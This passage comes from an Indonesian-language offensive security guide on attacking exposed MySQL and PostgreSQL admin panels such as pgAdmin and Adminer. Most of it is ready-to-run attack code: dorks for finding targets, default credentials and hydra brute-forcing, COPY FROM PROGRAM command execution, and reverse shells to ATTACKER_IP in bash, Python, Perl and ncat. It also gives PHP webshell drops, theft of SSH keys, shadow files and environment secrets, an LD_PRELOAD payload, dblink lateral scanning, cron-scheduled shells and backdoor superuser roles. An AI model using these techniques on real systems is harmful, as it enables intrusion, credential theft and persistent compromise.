 8UPDATE users SET password = SHA2('hacked123', 256) WHERE username = 'admin';
 9
10-- bcrypt ($2y$ prefix)
11-- Perlu generate di luar MySQL
12
13-- Plaintext (ya, masih ada yang begini)
14UPDATE users SET password = 'hacked123' WHERE username = 'admin';

4.5 Checklist Ringkasan

Menemukan Adminer/phpMyAdmin
  │
  ├─ 1. Identifikasi versi
  │     ├─ Adminer < 4.7.8? → Rogue MySQL file read
  │     ├─ Adminer < 4.7.9? → SSRF
  │     ├─ phpMyAdmin 4.8.0-4.8.1? → LFI (CVE-2018-12613)
  │     └─ phpMyAdmin 4.0-4.6? → RCE (CVE-2016-5734)
  │
  ├─ 2. Login attempt
  │     ├─ root:(kosong) di localhost
  │     ├─ Default credentials
  │     └─ Brute force (hydra)
  │
  ├─ 3. Setelah login → Recon SQL
  │     ├─ SHOW DATABASES
  │     ├─ SHOW GRANTS
  │     ├─ SHOW VARIABLES LIKE 'secure_file_priv'
  │     └─ Cari tabel user/credentials
  │
  ├─ 4. Data dump
  │     └─ Dump users, tokens, secrets dari semua DB
  │
  ├─ 5. RCE attempt
  │     ├─ INTO OUTFILE → webshell
  │     ├─ General log trick → webshell
  │     └─ UDF → system command
  │
  ├─ 6. Takeover aplikasi web
  │     └─ Update password admin di DB → login ke CMS/app
  │
  └─ 7. Pivot
        ├─ Credentials reuse → SSH / panel lain
        ├─ Webshell → reverse shell → privesc
        └─ Database replication → server lain

Bab 5 — PostgreSQL: pgAdmin & Eksploitasi via SQL

Daftar Isi Bab 5


5.1 Panel yang Mengekspos PostgreSQL

PostgreSQL jarang punya panel web bawaan, tapi sering terekspos lewat:

Panel / ToolDeskripsiDefault Port
pgAdmin 4Web UI resmi PostgreSQL5050 (web), 443
AdminerSingle-file PHP, support PostgreSQL80/443
phpPgAdminSetara phpMyAdmin untuk PostgreSQL80/443
MetabaseBI tool yang connect ke PostgreSQL3000
DBeaver WebDatabase browser berbasis web8978
PostgreSQL directPort 5432 terekspos langsung ke internet5432

Port 5432 langsung terekspos adalah yang paling banyak ditemukan via Shodan — setelah connect, semua teknik di bab ini berlaku.

5.2 Menemukan pgAdmin yang Terekspos

Google Dorks:

intitle:"pgAdmin" inurl:"/browser/"
intitle:"Login - pgAdmin 4"
inurl:"/pgadmin4/" intitle:"pgAdmin"
intitle:"phpPgAdmin" "Welcome"
inurl:"/phppgadmin/" intitle:"phpPgAdmin"

Shodan:

1shodan search 'http.title:"pgAdmin 4"'
2shodan search 'http.title:"Login - pgAdmin 4"'
3shodan search 'port:5432 product:"PostgreSQL"'
4shodan search 'port:5432 "PostgreSQL" country:"ID"'

FOFA:

title="pgAdmin 4" && country="ID"
title="Login - pgAdmin 4"
port="5432" && banner="PostgreSQL"

Nuclei:

1nuclei -u https://target.com -t http/exposed-panels/pgadmin-panel-detect.yaml
2nuclei -l targets.txt -tags pgadmin,postgresql

Default credentials pgAdmin 4:

admin@pgadmin.org : admin
admin@admin.com   : admin
postgres          : postgres
postgres          : (kosong)
pgadmin           : pgadmin

Brute force pgAdmin 4:

1# pgAdmin 4 pakai JSON API
2hydra -l admin@pgadmin.org -P /usr/share/wordlists/rockyou.txt \
3  target.com http-post-form \
4  "/pgadmin4/authenticate:email=^USER^&password=^PASS^:Incorrect username or password"

5.3 Adminer + PostgreSQL

Adminer support PostgreSQL — cara connect:

System: PostgreSQL
Server: localhost (atau 127.0.0.1)
Username: postgres
Password: (coba kosong, postgres, password)
Database: postgres (default)

Variasi server yang perlu dicoba:

localhost
127.0.0.1
localhost:5432
/var/run/postgresql          ← Unix socket (Debian/Ubuntu)
/tmp                         ← Unix socket (macOS / custom install)

Setelah login, langsung ke SQL panel dan jalankan query-query di section berikutnya.

Cek privilege PostgreSQL:

 1-- User yang sedang login
 2SELECT current_user, session_user;
 3
 4-- Apakah superuser?
 5SELECT usesuper FROM pg_user WHERE usename = current_user;
 6
 7-- Semua role yang dimiliki
 8SELECT rolname FROM pg_roles
 9WHERE pg_has_role(current_user, oid, 'member');
10
11-- Cek apakah bisa execute program (PostgreSQL 11+)
12SELECT has_function_privilege(current_user, 'pg_execute_server_program()', 'execute');

5.4 COPY FROM PROGRAM — RCE Langsung

COPY ... FROM PROGRAM adalah fitur bawaan PostgreSQL (sejak versi 9.3) yang mengeksekusi perintah OS dan membaca output-nya ke tabel. Hanya butuh privilege SUPERUSER — tidak butuh extension tambahan.

 1-- Buat tabel untuk menampung output command
 2CREATE TABLE cmd_output (output TEXT);
 3
 4-- Eksekusi command OS, hasilnya masuk ke tabel
 5COPY cmd_output FROM PROGRAM 'id';
 6SELECT * FROM cmd_output;
 7-- output: uid=70(postgres) gid=70(postgres) groups=70(postgres)
 8
 9-- Cleanup
10DROP TABLE cmd_output;

Reverse shell via COPY PROGRAM:

 1CREATE TABLE shell_out (data TEXT);
 2
 3-- Bash reverse shell
 4COPY shell_out FROM PROGRAM
 5  'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
 6
 7-- Alternatif: Python reverse shell (lebih portable)
 8COPY shell_out FROM PROGRAM
 9  $$python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"$$;
10
11-- Alternatif: ncat
12COPY shell_out FROM PROGRAM 'ncat ATTACKER_IP 4444 -e /bin/bash';

Membaca file sensitif via COPY PROGRAM:

1CREATE TABLE file_read (line TEXT);
2COPY file_read FROM PROGRAM 'cat /etc/passwd';
3SELECT * FROM file_read;
4DROP TABLE file_read;
5
6-- Membaca private key
7CREATE TABLE key_read (line TEXT);
8COPY key_read FROM PROGRAM 'cat /root/.ssh/id_rsa';
9SELECT * FROM key_read;

Menulis file (webshell) via COPY PROGRAM:

1-- Tulis webshell PHP ke webroot
2COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
3
4-- Alternatif via PROGRAM (lebih fleksibel, bisa ke path apapun)
5COPY (SELECT '') FROM PROGRAM
6  $$bash -c "echo '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/html/pg_shell.php"$$;

Catatan penting: COPY ... TO (tanpa PROGRAM) menulis langsung ke file system sebagai user postgres. COPY ... FROM PROGRAM menjalankan command sebagai user postgres. Keduanya butuh SUPERUSER.

One-liner untuk testing di psql / pgAdmin SQL editor:

 1-- Quick RCE test (tanpa buat tabel)
 2DO $$
 3DECLARE result TEXT;
 4BEGIN
 5  COPY (SELECT 1) TO PROGRAM 'id > /tmp/pg_rce_test.txt';
 6END$$;
 7
 8-- Baca hasilnya
 9CREATE TABLE t (x TEXT);
10COPY t FROM '/tmp/pg_rce_test.txt';
11SELECT * FROM t;
12DROP TABLE t;

5.5 File Read & Write via Large Object

Large Object (LO) adalah mekanisme PostgreSQL untuk menyimpan data biner besar. Fungsi lo_import dan lo_export bisa baca/tulis file sistem — butuh SUPERUSER.

Baca file via lo_import:

 1-- Import file dari filesystem ke database (sebagai Large Object)
 2SELECT lo_import('/etc/passwd');
 3-- Mengembalikan OID, misalnya: 24601
 4
 5-- Baca isi Large Object tersebut
 6SELECT encode(data, 'escape') FROM pg_largeobject WHERE loid = 24601;
 7
 8-- Atau baca sebagai text
 9SELECT convert_from(lo_get(24601), 'UTF8');
10
11-- File sensitif yang menarik
12SELECT lo_import('/etc/shadow');
13SELECT lo_import('/root/.ssh/id_rsa');
14SELECT lo_import('/var/lib/postgresql/.pgpass');
15SELECT lo_import('/etc/postgresql/14/main/pg_hba.conf');
16SELECT lo_import('/proc/self/environ');

Baca file lebih bersih (satu query):

 1-- Baca file, ambil isi, hapus LO — semuanya dalam satu transaksi
 2DO $$
 3DECLARE
 4  loid oid;
 5  content bytea;
 6BEGIN
 7  loid := lo_import('/etc/passwd');
 8  content := lo_get(loid);
 9  RAISE NOTICE '%', convert_from(content, 'UTF8');
10  PERFORM lo_unlink(loid);
11END$$;

Tulis file via lo_export:

 1-- Buat Large Object berisi payload
 2SELECT lo_create(1337);
 3INSERT INTO pg_largeobject (loid, pageno, data)
 4  VALUES (1337, 0, decode('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e', 'hex'));
 5  -- <?php system($_GET["cmd"]); ?>
 6
 7-- Export ke filesystem
 8SELECT lo_export(1337, '/var/www/html/pg_shell.php');
 9
10-- Cleanup
11SELECT lo_unlink(1337);

Tulis arbitrary file — helper function:

 1-- Buat fungsi helper untuk menulis file lebih mudah
 2CREATE OR REPLACE FUNCTION write_file(path TEXT, content TEXT)
 3RETURNS void AS $$
 4DECLARE loid oid;
 5BEGIN
 6  loid := lo_create(0);
 7  PERFORM lowrite(lo_open(loid, 131072), convert_to(content, 'UTF8'));
 8  PERFORM lo_export(loid, path);
 9  PERFORM lo_unlink(loid);
10END$$ LANGUAGE plpgsql;
11
12-- Gunakan
13SELECT write_file('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>');
14SELECT write_file('/root/.ssh/authorized_keys', 'ssh-rsa AAAA...your-key...');

Catatan ukuran LO: Satu pg_largeobject page = 2KB. File besar perlu di-insert per page:

1-- Insert file besar (misal binary): split per 2048 bytes
2-- Biasanya cukup gunakan lo_import/lo_export saja untuk file lokal

5.6 File Read via pg_read_file & pg_ls_dir

Fungsi-fungsi ini bawaan PostgreSQL, tidak butuh extension, tapi perlu SUPERUSER atau role pg_read_server_files (PostgreSQL 11+).

Baca file:

 1-- pg_read_file: baca text file (path relatif ke data directory)
 2SELECT pg_read_file('pg_hba.conf');
 3SELECT pg_read_file('postgresql.conf');
 4SELECT pg_read_file('PG_VERSION');
 5
 6-- Baca file dengan path absolut (PostgreSQL 9.4+)
 7SELECT pg_read_file('/etc/passwd');
 8SELECT pg_read_file('/etc/postgresql/14/main/pg_hba.conf');
 9SELECT pg_read_file('/var/lib/postgresql/.pgpass');
10SELECT pg_read_file('/proc/self/environ');
11
12-- Baca dengan offset dan limit (byte)
13SELECT pg_read_file('/etc/passwd', 0, 4096);

Baca file binary:

1-- pg_read_binary_file: baca raw bytes
2SELECT pg_read_binary_file('/etc/passwd');
3
4-- Decode ke text
5SELECT encode(pg_read_binary_file('/etc/passwd'), 'escape');
6
7-- Baca SSH private key (binary safe)
8SELECT encode(pg_read_binary_file('/root/.ssh/id_rsa'), 'escape');

List direktori:

 1-- List isi direktori
 2SELECT pg_ls_dir('/etc/postgresql/');
 3SELECT pg_ls_dir('/var/lib/postgresql/');
 4SELECT pg_ls_dir('/root/');
 5SELECT pg_ls_dir('/home/');
 6
 7-- List dengan detail (PostgreSQL 10+)
 8SELECT * FROM pg_ls_dir('/var/www/html') AS filename;
 9
10-- List data directory PostgreSQL
11SELECT * FROM pg_ls_waldir();      -- WAL files
12SELECT * FROM pg_ls_logdir();      -- Log files
13SELECT * FROM pg_ls_tmpdir();      -- Temp files

Mapping: role pg_read_server_files (non-superuser):

1-- PostgreSQL 11+ — role predefined untuk read file tanpa full superuser
2GRANT pg_read_server_files TO targetuser;
3
4-- Setelah grant, user tersebut bisa:
5SELECT pg_read_file('/etc/passwd');
6SELECT * FROM pg_ls_dir('/var/www/html');

5.7 RCE via Procedural Languages (plpythonu / plperlu)

PostgreSQL support untrusted procedural languages yang bisa eksekusi kode OS langsung dari function. Butuh SUPERUSER untuk install dan create function.

plpythonu (Python)

 1-- Cek apakah plpythonu tersedia
 2SELECT * FROM pg_available_extensions WHERE name LIKE 'plpython%';
 3
 4-- Install (butuh superuser)
 5CREATE EXTENSION plpython3u;
 6-- atau versi Python 2: CREATE EXTENSION plpythonu;
 7
 8-- Buat function yang eksekusi OS command
 9CREATE OR REPLACE FUNCTION os_cmd(cmd TEXT)
10RETURNS TEXT AS $$
11import subprocess
12return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode()
13$$ LANGUAGE plpython3u;
14
15-- Eksekusi
16SELECT os_cmd('id');
17SELECT os_cmd('cat /etc/passwd');
18SELECT os_cmd('cat /root/.ssh/id_rsa');
19
20-- Reverse shell
21SELECT os_cmd('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &');
22
23-- Tulis webshell
24SELECT os_cmd('echo "<?php system(\$_GET[chr(99).chr(109).chr(100)]); ?>" > /var/www/html/py_shell.php');

Import modul untuk operasi lebih lanjut:

 1CREATE OR REPLACE FUNCTION read_file(path TEXT)
 2RETURNS TEXT AS $$
 3with open(path, 'r') as f:
 4    return f.read()
 5$$ LANGUAGE plpython3u;
 6
 7CREATE OR REPLACE FUNCTION write_file(path TEXT, content TEXT)
 8RETURNS void AS $$
 9with open(path, 'w') as f:
10    f.write(content)
11$$ LANGUAGE plpython3u;
12
13SELECT read_file('/etc/shadow');
14SELECT write_file('/root/.ssh/authorized_keys', 'ssh-rsa AAAA...your-key...');

plperl — %ENV Manipulation (Trusted, Non-Superuser)

plperl adalah versi trusted — non-superuser bisa CREATE FUNCTION tanpa butuh superuser grant. Tidak bisa eksekusi OS command langsung, tapi bisa manipulasi %ENV (environment variable proses postgres).

1-- Tidak butuh superuser untuk create function ini
2CREATE OR REPLACE FUNCTION set_env(varname TEXT, val TEXT)
3RETURNS void AS $$
4    $ENV{$_[0]} = $_[1];
5$$ LANGUAGE plperl;

Privilege escalation via LD_PRELOAD + COPY PROGRAM:

 1-- Step 1: Set LD_PRELOAD ke shared library milik attacker
 2-- (library harus sudah ada di filesystem, bisa via lo_export atau COPY TO)
 3SELECT set_env('LD_PRELOAD', '/tmp/evil.so');
 4
 5-- Step 2: Trigger eksekusi proses anak — proses ini load LD_PRELOAD
 6-- Butuh superuser untuk COPY PROGRAM, tapi LD_PRELOAD sudah di-set
 7COPY (SELECT 1) TO PROGRAM 'id';
 8-- → proses 'id' di-spawn, load /tmp/evil.so → arbitrary code execution
 9
10-- Teknik lain: set PATH ke direktori yang dikontrol attacker
11SELECT set_env('PATH', '/tmp:' || current_setting('data_directory'));
12-- Buat binary palsu di /tmp dengan nama yang sama (misal 'pg_dumpall')
13-- Saat postgres spawn proses dengan nama itu → jalankan binary kita

Contoh evil.so (template):

1// evil.c — compile: gcc -shared -fPIC -o /tmp/evil.so evil.c
2#include <stdlib.h>
3__attribute__((constructor)) void pwn() {
4    system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
5}

Upload via lo_export atau COPY ... TO, lalu trigger via COPY PROGRAM.

Cek apakah plperl (trusted) tersedia:

1-- plperl trusted = bisa dipakai non-superuser
2SELECT lanname, lanpltrusted FROM pg_language WHERE lanname = 'plperl';
3-- plperl | t  ← trusted
4
5-- Cek apakah user punya privilege untuk create plperl function
6SELECT has_language_privilege(current_user, 'plperl', 'USAGE');

plperlu (Perl — Untrusted)

 1-- Butuh superuser
 2CREATE EXTENSION plperlu;
 3
 4-- OS command execution langsung
 5CREATE OR REPLACE FUNCTION perl_cmd(cmd TEXT)
 6RETURNS TEXT AS $$
 7  my $out = `$_[0]`;
 8  return $out;
 9$$ LANGUAGE plperlu;
10
11SELECT perl_cmd('id');
12SELECT perl_cmd('uname -a');
13
14-- Reverse shell via Perl
15CREATE OR REPLACE FUNCTION perl_revshell()
16RETURNS void AS $$
17  use Socket;
18  socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
19  connect(S, sockaddr_in(4444, inet_aton("ATTACKER_IP")));
20  open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S");
21  exec("/bin/sh -i");
22$$ LANGUAGE plperlu;
23
24SELECT perl_revshell();

plsh (Shell — via extension tambahan)

1-- Jika extension plsh terinstall (tidak default)
2CREATE EXTENSION plsh;
3
4CREATE OR REPLACE FUNCTION shell_exec(cmd TEXT)
5RETURNS TEXT AS $$
6  exec $1
7$$ LANGUAGE plsh;
8
9SELECT shell_exec('id');

Cek language yang sudah terinstall:

1SELECT lanname, lanpltrusted FROM pg_language;
2-- plpgsql  | t   (trusted, default)
3-- plpython3u | f  (untrusted, butuh superuser)
4-- plperlu  | f   (untrusted, butuh superuser)
5-- plsh     | f   (untrusted, butuh superuser)

dblink adalah extension bawaan PostgreSQL untuk koneksi antar database. Bisa dipakai untuk lateral movement ke PostgreSQL instance lain, atau bypass firewall internal.

 1-- Install (butuh superuser)
 2CREATE EXTENSION dblink;
 3
 4-- Test koneksi ke PostgreSQL lain
 5SELECT * FROM dblink(
 6  'host=internal-db-host port=5432 dbname=postgres user=postgres password=postgres',
 7  'SELECT version()'
 8) AS t(version TEXT);
 9
10-- Eksekusi query di remote DB
11SELECT * FROM dblink(
12  'host=192.168.1.100 dbname=app_db user=app_user password=app_pass',
13  'SELECT username, password FROM users LIMIT 10'
14) AS t(username TEXT, password TEXT);
15
16-- Jika remote DB-nya juga superuser → COPY PROGRAM di remote
17SELECT dblink_exec(
18  'host=192.168.1.100 dbname=postgres user=postgres password=postgres',
19  'COPY (SELECT 1) TO PROGRAM ''id > /tmp/rce.txt'''
20);

Brute force koneksi ke PostgreSQL internal via dblink:

 1-- Test apakah ada PostgreSQL di host internal
 2SELECT * FROM dblink(
 3  'host=172.16.0.1 port=5432 dbname=postgres user=postgres password=postgres connect_timeout=3',
 4  'SELECT 1'
 5) AS t(result INT);
 6
 7-- Scan range IP (satu-satu, atau buat loop di PL/pgSQL)
 8DO $$
 9DECLARE
10  ip TEXT;
11  result TEXT;
12BEGIN
13  FOREACH ip IN ARRAY ARRAY['172.16.0.1','172.16.0.2','172.16.0.10','10.0.0.1'] LOOP
14    BEGIN
15      SELECT INTO result (
16        SELECT x FROM dblink(
17          format('host=%s port=5432 dbname=postgres user=postgres password=postgres connect_timeout=2', ip),
18          'SELECT ''open'''
19        ) AS t(x TEXT)
20      );
21      RAISE NOTICE 'Host % is OPEN', ip;
22    EXCEPTION WHEN others THEN
23      RAISE NOTICE 'Host % CLOSED or AUTH FAILED: %', ip, SQLERRM;
24    END;
25  END LOOP;
26END$$;

Akses metadata cloud via dblink (SSRF):

1-- Jika PostgreSQL di cloud (AWS/GCP) — coba akses metadata
2-- Ini tidak langsung, tapi via dblink ke host yang bisa akses internal
3SELECT * FROM dblink(
4  'host=169.254.169.254 port=80 dbname=latest connect_timeout=3',
5  'SELECT 1'
6) AS t(r TEXT);

5.9 Extension Abuse: adminpack & pg_execute_server_program

adminpack

Extension adminpack menambahkan fungsi admin tingkat sistem — tersedia di PostgreSQL default.

 1CREATE EXTENSION adminpack;
 2
 3-- Tulis file (superuser only)
 4SELECT pg_file_write('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>', false);
 5-- Parameter ketiga: false = create, true = append
 6
 7-- Baca file
 8SELECT pg_file_read('/etc/passwd', 0, 10000);
 9
10-- Rename file
11SELECT pg_file_rename('/tmp/payload.so', '/usr/lib/postgresql/14/lib/evil.so');
12
13-- Unlink (hapus) file
14SELECT pg_file_unlink('/tmp/evil_file');

pg_execute_server_program (PostgreSQL 11+)

Role predefined yang memungkinkan user non-superuser menjalankan COPY ... FROM PROGRAM:

1-- Grant role ini ke user target (butuh superuser untuk grant)
2GRANT pg_execute_server_program TO targetuser;
3
4-- Setelah itu, targetuser bisa:
5COPY cmd_output FROM PROGRAM 'id';

pg_filenode_relation

1-- Mapping OID → nama tabel (berguna untuk navigasi internal)
2SELECT pg_filenode_relation(0, 1259);  -- pg_class

Extension lain yang berguna setelah akses:**

 1-- List semua extension yang tersedia (bisa diinstall)
 2SELECT name, default_version, comment
 3FROM pg_available_extensions
 4ORDER BY name;
 5
 6-- Extension yang sudah terinstall
 7SELECT extname, extversion FROM pg_extension;
 8
 9-- Extension berbahaya yang perlu dicek:
10-- plpython3u, plperlu, plsh → RCE
11-- dblink → lateral movement
12-- adminpack → file write/read
13-- pg_cron → schedule command (PostgreSQL 10+)
14-- http → HTTP request dari dalam DB (SSRF)

Abuse pg_cron (jika terinstall):

 1-- pg_cron tidak bisa langsung execute COPY statement (SPI limitation)
 2-- Harus dibungkus dalam PL/pgSQL function dulu
 3
 4-- Step 1: Buat helper function
 5CREATE OR REPLACE FUNCTION run_cmd(cmd TEXT) RETURNS void AS $$
 6BEGIN
 7  EXECUTE 'COPY (SELECT 1) TO PROGRAM ' || quote_literal(cmd);
 8END$$ LANGUAGE plpgsql SECURITY DEFINER;
 9
10-- Step 2: Schedule function tersebut
11SELECT cron.schedule('rce-job', '* * * * *',
12  $$SELECT run_cmd('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')$$
13);
14
15-- Alternatif: jika os_cmd() dari plpython3u sudah dibuat (section 5.7)
16SELECT cron.schedule('rce-job', '* * * * *',
17  $$SELECT os_cmd('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')$$
18);
19
20-- Hapus job setelah berhasil
21SELECT cron.unschedule('rce-job');

5.10 Privilege Escalation di PostgreSQL

Dari user biasa ke superuser

 1-- Cek semua user dan role
 2SELECT usename, usesuper, usecreaterole, usecreatedb
 3FROM pg_user ORDER BY usesuper DESC;
 4
 5-- Cek password hash (butuh akses pg_shadow — superuser only)
 6SELECT usename, passwd FROM pg_shadow;
 7-- Hash format: md5<md5(password + username)>
 8-- Crack: hashcat -m 11100 'md5hash' wordlist.txt
 9
10-- Jika punya CREATEROLE tapi bukan superuser:
11-- Buat user baru dengan superuser
12CREATE ROLE evil_super SUPERUSER LOGIN PASSWORD 'evil123';
13
14-- Atau grant superuser ke diri sendiri (butuh CREATEROLE)
15ALTER ROLE current_user SUPERUSER;  -- biasanya ditolak

Escalasi via trusted procedural language:

 1-- plpgsql adalah trusted language — bisa dipakai user biasa
 2-- Tapi tidak bisa langsung RCE via plpgsql
 3
 4-- Jika ada function SECURITY DEFINER milik superuser yang bisa dimanipulasi:
 5SELECT proname, prosecdef, proowner::regrole
 6FROM pg_proc
 7WHERE prosecdef = true;
 8-- prosecdef = SECURITY DEFINER → function ini jalan sebagai ownernya
 9
10-- Jika function SECURITY DEFINER milik superuser menerima input yang bisa di-inject:
11-- → SQL injection di dalam function → privilege escalation

Escalasi via pg_hba.conf misconfig:

1-- Baca pg_hba.conf
2SELECT pg_read_file('pg_hba.conf');
3
4-- Jika ada baris "trust" untuk method auth → connect tanpa password
5-- host  all  all  127.0.0.1/32  trust
6-- → Dari server yang sama, connect sebagai postgres tanpa password

Escalasi via .pgpass:

1-- .pgpass menyimpan password untuk koneksi otomatis
2SELECT pg_read_file('/var/lib/postgresql/.pgpass');
3SELECT pg_read_binary_file('/root/.pgpass');
4-- Format: hostname:port:database:username:password

Mencuri token environment / credential dari proses:

 1-- Baca environment variable proses postgres
 2-- Pakai 'strings' — tidak ada quoting masalah, bekerja di Adminer
 3CREATE TABLE env_dump (line TEXT);
 4COPY env_dump FROM PROGRAM 'strings /proc/self/environ';
 5SELECT * FROM env_dump;
 6DROP TABLE env_dump;
 7
 8-- Alternatif: tr dengan octal (tidak butuh single quote di dalam SQL string)
 9COPY env_dump FROM PROGRAM 'cat /proc/self/environ | tr "\000" "\n"';
10
11-- Cari AWS credentials, token, dll
12-- Double quote di dalam SQL single-quoted string = aman
13COPY env_dump FROM PROGRAM 'env | grep -iE "AWS|SECRET|TOKEN|KEY|PASS"';

Catatan Adminer: Adminer tidak support PostgreSQL dollar-quoting ($$). Hindari $$ — gunakan single-quoted string biasa dengan double quote (") untuk argumen shell yang butuh quoting.

5.11 Checklist PostgreSQL

Menemukan PostgreSQL (pgAdmin / Adminer / port 5432)
  │
  ├─ 1. Cek privilege
  │     ├─ SELECT usesuper FROM pg_user WHERE usename = current_user;
  │     ├─ Apakah superuser? → lanjut ke semua teknik
  │     └─ Bukan superuser? → cek CREATEROLE, pg_read_server_files, pg_execute_server_program
  │
  ├─ 2. RCE (butuh SUPERUSER)
  │     ├─ COPY FROM PROGRAM 'id'                    ← paling mudah
  │     ├─ CREATE EXTENSION plpython3u → os_cmd()    ← butuh plpython terinstall
  │     ├─ CREATE EXTENSION plperlu → perl_cmd()     ← butuh plperl terinstall
  │     └─ pg_cron + COPY PROGRAM                    ← jika pg_cron ada
  │
  ├─ 3. File Read
  │     ├─ pg_read_file('/etc/passwd')               ← paling simpel
  │     ├─ COPY t FROM '/etc/shadow'                 ← via COPY
  │     ├─ lo_import('/root/.ssh/id_rsa')            ← Large Object
  │     └─ COPY t FROM PROGRAM 'cat /path/file'      ← via PROGRAM
  │
  ├─ 4. File Write
  │     ├─ COPY (SELECT payload) TO '/var/www/shell.php'
  │     ├─ pg_file_write() via adminpack
  │     ├─ lo_export() via Large Object
  │     └─ COPY FROM PROGRAM 'echo payload > /path'  ← via shell redirect
  │
  ├─ 5. Lateral Movement
  │     ├─ dblink → koneksi ke PostgreSQL internal lain
  │     ├─ .pgpass → password tersimpan
  │     └─ pg_shadow → crack hash password user lain
  │
  ├─ 6. Data Dump
  │     ├─ \dt → list semua tabel
  │     ├─ SELECT * FROM information_schema.tables
  │     ├─ Dump users, tokens, secrets
  │     └─ pg_dump (via COPY PROGRAM)
  │
  └─ 7. Persistence
        ├─ CREATE ROLE backdoor SUPERUSER LOGIN PASSWORD 'x';
        ├─ Tambah SSH key via write_file ke authorized_keys
        └─ pg_cron → scheduled reverse shell

Quick Reference — Metode berdasarkan kondisi:

KondisiMetode RCEMetode File Read
SuperuserCOPY FROM PROGRAMpg_read_file, lo_import, COPY FROM
pg_execute_server_programCOPY FROM PROGRAM
pg_read_server_filespg_read_file, COPY FROM file
CREATEROLEBuat superuser baru
plpython3u terinstallCREATE FUNCTION os_cmd()read_file() via Python
plperlu terinstallCREATE FUNCTION perl_cmd()baca file via Perl
dblink terinstallCOPY PROGRAM di remote DBBaca file di remote DB
adminpack terinstallpg_file_read(), pg_file_write()